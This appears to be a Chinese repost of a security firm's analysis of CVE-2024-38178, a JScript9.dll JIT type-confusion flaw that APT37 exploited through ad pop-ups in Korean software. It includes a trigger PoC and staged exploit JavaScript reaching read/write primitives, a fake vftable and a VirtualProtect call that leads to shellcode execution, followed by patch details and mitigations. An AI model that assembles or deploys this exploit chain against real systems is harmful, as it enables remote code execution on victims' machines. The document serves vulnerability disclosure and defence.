揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

admin 2024年10月17日17:12:35评论84 views字数 15645阅读52分9秒阅读模式

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

执行摘要
(漏洞概述) 2024 年 8 月 13 日,微软在8 月补丁星期二修补了 JScript9.dll 中的漏洞CVE-2024-38178 。
(漏洞原因) CVE-2024-38178 是 JScript9.dll 中的 JIT 引擎对使用通常的算术转换异常运算符初始化的变量进行不正确的优化而导致的类型混淆漏洞,可用于绕过 2022 年 11 月发布的 CVE-2022-41128 补丁。
  • CVE-2022-41128 已公开并附有详细分析,并于 2022 年被朝鲜背后的威胁组织利用,因此攻击者很可能迅速利用该漏洞进行武器化。
  • 利用此漏洞的攻击者可以在目标 Windows 系统上远程执行代码。
(相关威胁组织及攻击) 2024年6月,朝鲜威胁组织APT37(Scarcruft)利用此漏洞对韩国特定组织发动了野外攻击。
  • (相关样本) 12721952796–107–0_1.ad_toast.html(MD5:e11bb2478930d0b5f6c473464f2a2b6e)
  • (分发方法)通过免费软件的广告附加功能流程从攻击者的 C&C 服务器下载恶意脚本*(*使用与特定网络广告供应商名称类似的域名)
  • (行为 ) 下载恶意脚本后,其行为与 2021 年通过Ruby 脚本进行的先前攻击类似。—
  • [ S2W] Matryoshka:ROKRAT 变种,APT37 (ScarCruft)
  • (最终的恶意软件)最终被确认为与云存储(Yandex、pCloud)通信的 ROKRAT 恶意软件
(对策)供应商应特别注意旧版引擎使用的关键模块的版本控制和漏洞响应,因为用户很难对使用过时 Windows 库的软件的漏洞做出响应。

介绍

2024 年 8 月 13 日,微软在 8 月补丁星期二中修补了 JScript9.dll 中的远程代码执行漏洞 CVE-2024-38178。

2024年6月,该漏洞在针对韩国软件供应商产品的攻击中被利用,S2W获取并分析了该恶意软件的样本。在确定目标软件执行JScript9.dll*中嵌入在广告页面中的JavaScript代码的机制后,攻击者利用该漏洞触发远程代码执行并在受害者的Windows系统上执行恶意操作。

* 请参阅附录 A. JScript9.dll 概述,了解 JScript9.dll 脚本引擎的概述。

样本分析证实,CVE-2024-38178 是一个绕过现有CVE-2022-41128*补丁的类型混淆漏洞。

* CVE-2022-41128是 JScript9.dll 中的类型混淆漏洞,朝鲜威胁组织 APT37 于 2022 年 10 月在伪装成标题为“首尔龙山梨泰院事件情况”的文档的恶意软件中使用了该漏洞。

  • 相关恶意软件分析报告:朝鲜攻击者 APT37 利用 Internet Explorer 0day 漏洞

    https://blog.google/threat-analysis-group/internet-explorer-0-day-exploited-by-north-korean-actor-apt37/

  • 漏洞详细分析报告:CVE-2022-41128:Internet Explorer 的 JScript9 引擎中的类型混淆

    https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-41128.html

详细分析

1. 野外漏洞利用流程

据信,攻击者创建了一个与特定广告代理服务提供商类似的域名,然后联系目标软件供应商注册一个类似的域名。

然后,注册的服务将在供应商的广告弹出软件过程中呈现。通常,广告页面包含 JavaScript 来监控事件,例如访问次数和广告弹出窗口,旧版 WebView 使用 JScript9 引擎来执行 JavaScript。

攻击者以 Windows 用户为目标,在攻击者构建的页面中注入了经过混淆的 JavaScript 负载。由于广告弹出事件通常发生在受害者启动目标软件后不久,因此攻击者能够触发 JScript9 中的零日漏洞 (CVE-2024-38178),在无需进一步交互的情况下执行恶意操作。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 1. 完整的恶意软件执行流程

攻击者利用该漏洞执行任意代码,从而允许他们通过多个共享配置下载额外的恶意软件。下载的恶意软件由 Ruby 引擎、Ruby 脚本和由 Ruby 脚本解密的加密文件组成。解密后的恶意软件通过在 system32 中随机选择两个可执行文件并通过将 RokRAT 放入内存中分两阶段执行注入来执行。此处使用的 RokRAT 的 C2 是 Yandex 或 PCloud,与 APT37 攻击组织在先前的攻击中发现的策略、战术和程序 (TTP) 一致。

参考报告> [S2W] Matryoshka:ROKRAT 变体,APT37(Scarcruft)

2. 根本原因分析

JScript9 的 JIT 编译器会对重复执行的代码进行优化,其中一个优化函数GlobOpt::OptArraySrc会对ValueType::IsUninitialized需要优化的变量调用该函数。

void __fastcall GlobOpt::OptArraySrc(struct BasicBlock **this, IR::Opnd **a2)
{
//...
      v10 = (v43 + 16);
      if ( !GlobOpt::IsLoopPrePass(this) && !ValueType::IsUninitialized(v10) )
      {
        v35[0] = *(v8 + 10);
        // ValueType::ISUninitialized return false
        if ( ValueType::IsUninitialized(v35) )
        {
          // skip type check
          IR::Opnd::SetValueType(v6, *(v8 + 16));
          v6 = v39;
        }
      }
    }
    goto LABEL_15;
//...c

调用之后的分支ValueType::IsUninitialized与通常的算术转换有关。当两个操作数具有不同的类型时,算术转换会匹配类型。默认情况下,这些算术转换会对所有操作执行隐式类型转换,但增量(++、-)和按位(<<、>>、&、^...)操作不需要对操作数进行类型匹配。

因此,当传递一个用增量或减量或按位运算初始化的变量时,函数ValueType::IsUninitialized会假定它是一个不需要算术转换的变量并返回 False,跳过对IR::Opnd::SetValueType函数的调用来验证类型进行转换,从而造成类型混淆。

根据本次攻击中获得的攻击者payload重建的PoC代码如下所示。

<script>
    function foo() {
        g = new ArrayBuffer(1400);
        d = new Int32Array(g);
        var j = 1;
        var e = new Object({
            a: 1,
            b: 2,
            c: "3",
            d: 0x414141, // Write at 0x414141
            e: 5,
        });
        function boom(m) {
            var q = d;
            var l = q[0];
            for (var o = 0; o < 1; o++) {
                if (m) {
                    for (var n = 0; n < 1; n++) {
                        j++; // bypassing CVE-2022-41128 patch
                        q = j;
                        break;
                    }
                    if(m){
                        q = e; // Confused
                    }
                    q[-1] = 1;
                }
            }
            if(m){
                q[8] = 0x42424242; // Write 0x42424242
            }
        }
        for (let h = 0; h < 100000; h++) {
            boom(false);
        }
        boom(true);
    }
    foo();
</script>

利用 JIT 编译器跳过使用通常的算术转换异常运算符初始化的变量的类型验证这一事实,攻击者只需添加声明变量j并通过增量为其分配q代码即可绕过 CVE-2022-41128 中的安全补丁CVE-2022-41128 的现有概念验证中的操作员。

访问已通过 Int32Array 的数组索引方法更改为 Object 类型的q可以触发类型混淆,从而允许任意操作对象属性值所指向的地址的值。

以下是 PoC 期间q[8] = 0x42424242代码片段的调试结果,将 JIT 编译器在正常行为下生成的机器码与漏洞生成的机器码进行了比较。当 JIT 编译器添加类型验证代码时,它会调用 JavascriptOperators::OP_SetElementI_JIT 功能。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 2. JIT 编译器在正常操作期间生成的机器代码

漏洞导致的优化机器码去除了例程调用 JavascriptOperators::OP_SetElementI_JIT 并访问地址0x414161 (0x414141 + 4 * 8) ,这是q[8]的计算偏移量,无需类型验证,以写入0x42424242 。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 3. 由不正确的 JIT 引擎假设生成的易受攻击的机器代码

随后的利用步骤与之前披露的CVE-2022-41128相同,表明该漏洞在绕过补丁后很快被武器化。

3.漏洞利用分析

我们验证了实际的漏洞配置,发现它利用与即时(JIT)编译器中的类型验证和内存管理相关的漏洞来执行任意代码。此外,我们还在受影响的 Windows 环境*版本(Windows 11 23H2 build 22631.3880)上配置并分析了单独的 PoC,以验证由于类型混淆而导致远程代码执行的可能性。开发过程可以概括为四个步骤。

1.(阶段1)获取相对读/写原语

通过vtable泄露JScript9.dll地址和VirtualProtect函数地址,并将任意Array对象的Length属性值修改为一个大值,以获得足够大小的Relative Read/Write原语。

2.(阶段2)获取任意读/写原语

使用相对 R/W,操作 DataView 对象方法调用参数以获得任意 R/W 原语。

3.(第3阶段)配置Fake Vftable和Fake Object

使用 Arbitrary R/W 构造一个假文字字符串对象,并配置文字字符串方法来引用该假对象。

4.(第4阶段)引用假对象并执行Shellcode

当调用文字字符串方法时,会调用虚拟vftable的VirtualProtect函数和shellcode来执行任意代码。

* 请参阅附录 B. 受影响的 Windows 版本,了解除这些版本之外的受影响 Windows 版本的列表。

3.1 第 1 阶段 — 获取相对读/写原语

执行步骤 1 的 PoC 代码如下所示。

var b = new Array(256)
function foo() {
    g = new ArrayBuffer(1400);
    d = new Int32Array(g);
    var j = 1;


    for (var k = 0; k < 256; k++) {
        b[k] = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
    }
   
    var e = new Object({
        a: 1,
        b: 2,
        c: "3",
        d: b[52], // Get relative R/W using b[52]
        e: 5,
    });


    function boom(m) {
// ... Triggering Bug
        if(p){
            q[8] = 0x1fffffff; // Array Length
            q[21] = 0x1fffffff; // Array Actual Length
            q[22] = 0x1fffffff; // Buffer Length
           
            jscript9_base.addr_low = q[0] - 0x395f98;
            jscript9_base.addr_high = q[1];
        }
    }
    for (let h = 0; h < 10000; h++) {
        boom(false);
    }
    boom(true);
}
foo();

类型化数组Int32Array通过引用偏移量 0x38 处的指针来访问数组内容。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 4. Int32Array 内存结构

弱假设生成的机器代码认为 Object q仍然是Int32Array ,并允许使用像q[0]这样的数组索引的方法,引用 Object q偏移量 0x38 处的b[52]数组对象的地址。因此,可以读取或写入b[52]对象的任意属性值。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 5. 由于类型混淆而将对象 q 引用为 Int32Array

通过使用q[0] 、 q[1] 、 b[52]的前 8 个字节读取 vftable 可以泄漏 JScript9.dll 地址。该漏洞后来利用它来泄漏VirtualProtect地址以执行 shellcode。在本例中,通过两个数组索引读取 8 个字节,因为q的原始类型Int32Array处理 32 位整数数据,在访问数组索引时以 4 字节增量计算。

在 vftable 泄漏b[52].length被篡改为0x1fffffff后,依次遍历q[8] 、 q[21]和q[22] 。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 6. b[52]数组的 Length 属性被篡改且 JScript9.dll 地址被泄露

通过用0x1ffffff覆盖b[52].length ,我们可以通过b[52][0x0]访问b[52][0x1fffffff] ,从而为我们提供了足够大小的相对读/写原语以供利用。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 7. JScript9.dll 的 b[52].length

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

/imagebase的输出

3.2 第 2 阶段 — 获取任意读/写原语

使用 DataView 对象获取任意读/写原语。 DataView提供了一个低级接口,用于从 ArrayBuffer 读取和写入数字类型数据。 b[52]相对 R/W 可用于泄漏 DataView 对象的地址。然后, b[54]可以引用DataVierw对象并调用getUint32/setUint32方法进行任意读/写。

var arraybuffer = new ArrayBuffer(16);
    var dataview = new DataView(arraybuffer);
    b[53][0] = dataview
  
    // Leak b[53] Array Content Pointer
    var b53 = {
        addr_low: b[52][32],
        addr_high: b[52][33]
    };


    // Overwrite b[54] Array Content Pointer
    b[52][80] = b53.addr_low;
    b[52][81] = b53.addr_high;
    b[52][82] = b53.addr_low;
    b[52][83] = b53.addr_high;


   // Get dataview object address
    var dataview_obj = {
        addr_low: b[54][0],
        addr_high: b[54][1]
    };


    b[52][80] = dataview_obj.addr_low - 4;
    b[52][81] = dataview_obj.addr_high;
    b[52][82] = dataview_obj.addr_low - 4;
    b[52][83] = dataview_obj.addr_high;


    function read4(addr_low, addr_high) {
        b[54][7] = addr_low;
        b[54][8] = addr_high;
        return dataview['getUint32'](0, true);
    }


    function write4(addr_low, addr_high, val) {
        b[54][7] = addr_low;
        b[54][8] = addr_high;
        dataview['setUint32'](0, val, true);
    }

3.3 第 3 阶段 — 配置 Fake Vftable 和 Fake Object

要创建假对象,请创建文字、shellcode 和复合字符串,并将它们分别分配给b[53][1] 、 b[53][2]和b[53][3] 。找到每个字符串对象的地址并找到b[56][0]的地址,这是我们将用作假 vftable 的地址。

b[53][1] = literal_string,
    b[53][3] = compound_string,
    b[53][2] = shellcode;


    // b[53][1]
    literal_str_obj = {
        addr_low : read4(b[52][32] + 0x20, b[52][33]),
        addr_high : read4(b[52][32] + 0x24, b[52][33])
    };


    // b[53][2]
    shellcode_str_obj = {
        addr_low : read4(b[52][32] + 0x28, b[52][33]),
        addr_high : read4(b[52][32] + 0x2C, b[52][33])
    };


    // b[53][3]
    compound_str_obj = {
        addr_low : read4(b[52][32] + 0x30, b[52][33]),
        addr_high : read4(b[52][32] + 0x34, b[52][33])
    };


    // fake vftable (= b[56][0] address)
    fake_vftable = {
        addr_low : b[52][176] + 0x18,
        addr_high : b[52][177]
    };

将 Fake Object 配置为 shellcode 字符串的内容缓冲区地址,如下所示。

  • fake_obj + 0x0 = 假虚拟表

  • fake_obj + 0x8 = 文字字符串类型

  • fake_obj + 0x10 = 复合字符串长度

  • fake_obj + 0x18 = 复合字符串缓冲区指针

  • fake_obj + 0x20 = shellcode字符串对象地址

// make fake object
fake_obj = {
    addr_low : read4(shellcode_str_obj.addr_low + 0x20, shellcode_str_obj.addr_high),
// make fake object
fake_obj = {
    addr_low : read4(shellcode_str_obj.addr_low + 0x20, shellcode_str_obj.addr_high),
    addr_high : read4(shellcode_str_obj.addr_low + 0x24, shellcode_str_obj.addr_high)
};


// write fake vftable
write8(fake_obj.addr_low, fake_obj.addr_high,
      fake_vftable.addr_low,fake_vftable.addr_high);


// write literal string type
literal_str_type = {
    addr_low : read4(literal_str_obj.addr_low + 0x8, literal_str_obj.addr_high),
    addr_high : read4(literal_str_obj.addr_low + 0xC, literal_str_obj.addr_high)
};
write8(fake_obj.addr_low + 0x8, fake_obj.addr_high,
      literal_str_type.addr_low, literal_str_type.addr_high );


// write compound string length
compound_str_length = {
    addr_low : read4(compound_str_obj.addr_low + 0x10, compound_str_obj.addr_high),
    addr_high : read4(compound_str_obj.addr_low + 0x14, compound_str_obj.addr_high)
};
write8(fake_obj.addr_low + 0x10, fake_obj.addr_high,
      compound_str_length.addr_low, compound_str_length.addr_high);
 
  // write compound string buffer pointer
compound_str_buffer = {
    addr_low : read4(compound_str_obj.addr_low + 0x20, compound_str_obj.addr_high),
    addr_high : read4(compound_str_obj.addr_low + 0x24, compound_str_obj.addr_high)
};
write8(fake_obj.addr_low + 0x18, fake_obj.addr_high,
      compound_str_buffer.addr_low, compound_str_buffer.addr_high);


// overwrite b[53][1] with fake object
write8(b[52][32] + 0x20, b[52][33], fake_obj.addr_low, fake_obj.addr_high);

文字字符串所在的b[53][1]将指向如图所示的假对象,这样当调用该方法时, b[53][1]中的文字字符串将引用假的 vftable 。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 8. 配置方法 b[53][1] 以引用伪造对象的结果。

3.4 第 4 阶段 — 引用假对象并执行 Shellcode

根据泄露的JScript9.dll的镜像库,获取KERNEL32.dll镜像库和VirtualProtect函数地址。 b[53][1]当调用文字字符串的trim方法时,引用伪造对象的vftable指针,调用位于偏移vftable + 0x2c8处的函数。由于 vftable 指针指向地址b[56][0] ,我们可以通过修改b[56][0] + 0x2c8来调用所需的函数。

CreateFileW_low = read4(jscript9_base.addr_low + 0x3d1698, jscript9_base.addr_high);
CreateFileW_high = read4(jscript9_base.addr_low + 0x3d1698+4, jscript9_base.addr_high);


kernel32_base = {
    addr_low: CreateFileW_low - 0x20460,
    addr_high: CreateFileW_high
};


VirtualProtect = {
    addr_low: kernel32_base.addr_low + 0x15470,
    addr_high: kernel32_base.addr_high
};


//...


// Write VirtualProtect/shellcode address to
  Js::JavascriptString::GetOriginalStringReference offset (vftable + 0x2c8)
write8(fake_vftable.addr_low + 0x2c8, fake_vftable.addr_high,
      VirtualProtect.addr_low, VirtualProtect.addr_high);
b[53][1]['trim']();
在调用 VirtualProtect 函数之前的调试结果中,我们可以看到第一个参数rcx寄存器授予了 shellcode 地址的执行权限。然后,在相同的偏移处,我们用我们想要执行的shellcode地址而不是VirtualProtect修改它,并再次调用trim方法,然后执行shellcode。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 9. 调用 VirtualProtect 函数向 shellcode 地址授予执行权限

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 10. Calculator.exe 进程运行中的 Shellcode 执行结果

4. 修补代码

在 2024 年 8 月更新中,MS 添加了代码来直接使用ValueType::operator比较两个操作数的类型,即使ValueType::IsUninitialized函数返回 False 也是如此,并且还添加了代码来调用IR::Opnd::SetValueType来执行类型转换如果操作结果类型不匹配,以防止类型混淆。

void __fastcall GlobOpt::OptArraySrc(struct BasicBlock **this, IR::Opnd **a2)
{
//...
  if ( v5 && !GlobOpt::IsLoopPrePass(this) )
  {
+ v10 = (v43 + 16);
+ // if feature is enabled, always return true
+ if(wil::details::FeatureImpl<__WilFeatureTraits_Feature_1489045819>::__private_IsEnabled(..))
+ {
+ if ( ValueType::IsUninitialized(v10) )
+ goto LABEL_22;
+ v35[0] = *(v8 + 10);
+ v13 = *(v8 + 16);
+ if ( !ValueType::IsUninitialized(v35) )
+ {
+ v35[0] = v12;
+ if ( !ValueType::operator!=(v35, v13) )
+ goto LABEL_22;
+ LOWORD(v13) = v13 | 1;
+ }
+ IR::Opnd::SetValueType(v8, v13);
+ v8 = v43;
+ }
             
    else if ( !ValueType::IsUninitialized(v10) )
    {
      v35[0] = *(v8 + 10);
      if ( ValueType::IsUninitialized(v35) )
      {
        IR::Opnd::SetValueType(v8, *(v8 + 16));
        v8 = v43;
      }
    }
  }
  goto LABEL_15;
}

影响

此漏洞存在于 JScript9.dll 中,JScript9.dll 是 Internet Explorer 中的旧版 JavaScript 引擎,现已弃用。基本上,任何使用它的软件都可能容易受到攻击。我们进一步调查了加载该引擎的部分软件列表,并在下面找到了它。

受影响的产品

  • Microsoft Edge(Internet Explorer 模式)

  • GOMPlayer 2.3.100.5370(Toast 弹窗 1.0.0.8) — gom&company

  • KMPlayer 4.2.3.14 — 潘多拉电视

  • PotPlayer 1.7.22318 — Kakao 公司

* 截至 2024 年 7 月 15 日,GOMPlayer 版本 2.3.100.5370 的附加影响分析可参见附录 C。 受影响的产品 — GOMPlayer

使用旧版 WebView 控制器进行网页浏览、广告弹出渲染等的软件(包括上面列出的软件)会受到此漏洞的影响或可能容易受到此漏洞的影响,我们建议您在安装 2024 年 8 月 Windows 累积更新之前不要使用它。

* 如果不存在单独的沙箱,则最大影响是中等完整性级别的远程代码执行。

此外,近年来还发现了利用JScript9.dll漏洞的攻击,例如CVE-2020-1380和CVE-2022-41128,因此即使您更新到最新版本,您仍然可能成为攻击目标以备将来的攻击。

减轻

对于 Edge,用户在“设置”-“默认浏览器”-“Internet Explorer 兼容性”中将“允许站点在 Internet Explorer 模式下重新加载”选项设置为“禁止”(默认)。对于 MS Office,将其设置为阻止加载远程 HTML 内容(默认)。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 11. 禁止使用 IE 模式的设置

用户还应注意不要查看来自未知或可疑来源的网页或文档文件。如果您使用的应用程序通过旧版 WebView 控制器加载 JScript9.dll,则用户应安装 Windows August 累积更新,因为没有针对此漏洞的单独缓解措施。

我们鼓励软件供应商将其产品中的 Web 查看器更改为基于 Edge 的 WebView,以避免使用继续成为攻击目标的 JScript9.dll。此外,我们建议利用软件物料清单 (SBOM) 来识别这些第三方组件,并定期监控漏洞和产品生命周期,以便为遗留模块制定响应计划。

结论

  • CVE-2024-38178 是 Internet Explorer 中旧版 JavaScript 引擎 JScript9.dll 的 JIT 编译器中的远程代码执行漏洞,由类型验证中的错误假设引起。

  • 该漏洞影响自 2024 年 8 月以来未应用累积更新的所有 Windows 系统版本。

  • 该漏洞以及过去几年针对 JScript9.dll 的其他几起 0day 攻击(例如 CVE-2020-1380 和 CVE-2022-41128)表明威胁组织继续发现和利用针对旧版引擎的漏洞。

- 鉴于PoC和利用过程与CVE-2022-41128非常相似,并且利用和分析信息是公开的,因此该漏洞的利用阶段很可能在发现后很快就完成了。

  • 我们建议用户将 Windows Update 保持为最新版本并禁用 Edge 的 Internet Explorer 模式。

  • 对于端点用户来说,确定应用程序中的 WebView 控制器正在使用哪个引擎是一项挑战,因此软件提供商应致力于避免使用旧版引擎。

参考

  • https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-41128.html

  • https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41128

  • https://www.trendmicro.com/ko_kr/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html

  • https://kisa-vuln.notion.site/MS-f6906de00a124b9fadee90722bf854c2#09994a03b0a04853894f5d70b3afe85e

附录 A. JScript9.dll 概述

JScript9.dll 是默认内置于 Windows 中的 Internet Explorer 中的 JavaScript 引擎,并在 Internet Explorer 9 到 11 中使用。随着 Edge 浏览器的后续发布,JScript9 引擎被 Chakra 引擎* 取代,这就是 JScript9 的原因引擎也称为传统 Chakra 引擎。

* 当 Edge 成为基于 Chromium 时,Edge Chakra 引擎后来被替换。

2022 年 6 月 15 日,微软终止了对 Internet Explorer 的支持,但 JScript9.dll 仍用于支持旧版应用程序,例如 Microsoft Edge 中的 Internet Explorer 模式以及通过 WebView 控件的应用程序,这就是它继续分布在当前 Windows 中的原因构建。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 12. Edge 支持的 Internet Explorer 模式

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 13. 当启用 Internet Explorer 模式时,iexplorer.exe 进程加载 jscript9.dll。

JScript9.dll、V8、JavaScriptCore 和 Chakra 等 JavaScript 引擎使用即时 (JIT) 编译器进行优化以加快执行速度。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 14. JScript9.dll 的 JIT 引擎行为

JScript9 解析器将 JavaScript 代码转换为抽象语法树,遍历它,并生成由解释器执行的字节码。假设在执行生成的 ByteCode 时存在重复调用的代码片段。在这种情况下,JIT 编译器根据收集的配置文件数据(例如类型信息)在新线程中执行。 JIT编译器生成优化的机器码,并通过用机器码替换下一次执行的ByteCode的入口点来进行优化,这是JavaScript Engine with JIT的基本行为流程。

这种优化的优点是,通过在执行特定的重复代码片段时根据配置文件数据进行假设,并据此删除或重新定位不必要的代码,可以提高 JavaScript 的执行速度。如果执行机器代码时某些条件违反了假设,它还可以通过返回解释器并再次执行 ByteCode 来防止安全问题。 (救助)

然而,JIT 编译器行为也存在一个问题,即如果某个状态违反了假设,它就无法正确退出,或者如果假设本身不正确,则生成的机器代码可能存在安全问题。利用这些漏洞,过去几年发生了多起针对 JScript9.dll 中 JIT 编译器的 0day 攻击。

附录 B. 受影响的 Windows 版本

Windows Server 2022,23H2 版本 < 10.0.25398.1085

Windows 10(32 位系统)< 10.0.10240.20751

适用于基于 x64 的系统的 Windows 11 版本 23H2 < 10.0.22631.4037

适用于基于 ARM64 的系统的 Windows 11 版本 23H2 < 10.0.22631.4037

Windows 10 版本 22H2,适用于 32 位系统 < 10.0.19045.4780

适用于基于 ARM64 的系统的 Windows 10 版本 22H2 < 10.0.19045.4780

Windows Server 2012 R2 < 6.3.9600.22134/1.001

Windows Server 2016 < 10.0.14393.7259

Windows 10 版本 1607,适用于基于 x64 的系统 < 10.0.14393.7259

Windows 10 版本 1607,适用于 32 位系统 < 10.0.14393.7259

Windows 10(基于 x64 的系统)< 10.0.10240.20751

Windows 10 版本 22H2,适用于基于 x64 的系统 < 10.0.19045.4780

Windows 11 版本 22H2,适用于基于 x64 的系统 < 10.0.22621.4037

适用于基于 ARM64 的系统的 Windows 11 版本 22H2 < 10.0.22621.4037

Windows 10 版本 21H2,适用于基于 x64 的系统 < 10.0.19044.4780

适用于基于 ARM64 的系统的 Windows 10 版本 21H2 < 10.0.19044.4780

Windows 10 版本 21H2(适用于 32 位系统)< 10.0.19044.4780

适用于基于 ARM64 的系统的 Windows 11 版本 21H2 < 10.0.22000.3147

Windows 11 版本 21H2,适用于基于 x64 的系统 < 10.0.22000.3147

Windows Server 2022 < 10.0.20348.2655

Windows Server 2019 < 10.0.17763.6189

Windows 10 版本 1809,适用于基于 x64 的系统 < 10.0.17763.6189

Windows 10 版本 1809,适用于 32 位系统 < 10.0.17763.6189

适用于基于 x64 的系统的 Windows 11 版本 24H2 < 10.0.26100.1457

适用于基于 ARM64 的系统的 Windows 11 版本 24H2 < 10.0.26100.1457

附录 C. 受影响的产品 — GOMPlayer

Toast.gom进程通过Toast Notification呈现网络托管的广告页面,并加载JScript9.dll作为JavaScript执行引擎。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 15. Toast.com 进程加载 JScript9.dll

以下 URL 已在传递给该进程的命令行参数中传递。

https[:]//mini.gomlab.com/player/html/toast/toast_KR_N.html

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 16. 作为命令行参数传递的 URL

在该 URL 页面上,存在 JavaScript 代码来监视广告展示等事件,并且Toast.gom进程会解释 JScript9.dll 引擎中的 JavaScript 代码。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 17. 广告页面中嵌入的 Javascript

使用钓鱼域名托管的供应链攻击场景可能会触发Toast.gom进程的漏洞并呈现恶意网页。

揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

图 18. 通过传递带有恶意 javascript 的 URL 作为参数触发漏洞

原文始发于微信公众号(Ots安全):揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月17日17:12:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   揭秘 CVE-2024-38178:Windows 脚本引擎的静默威胁https://cn-sec.com/archives/3281618.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息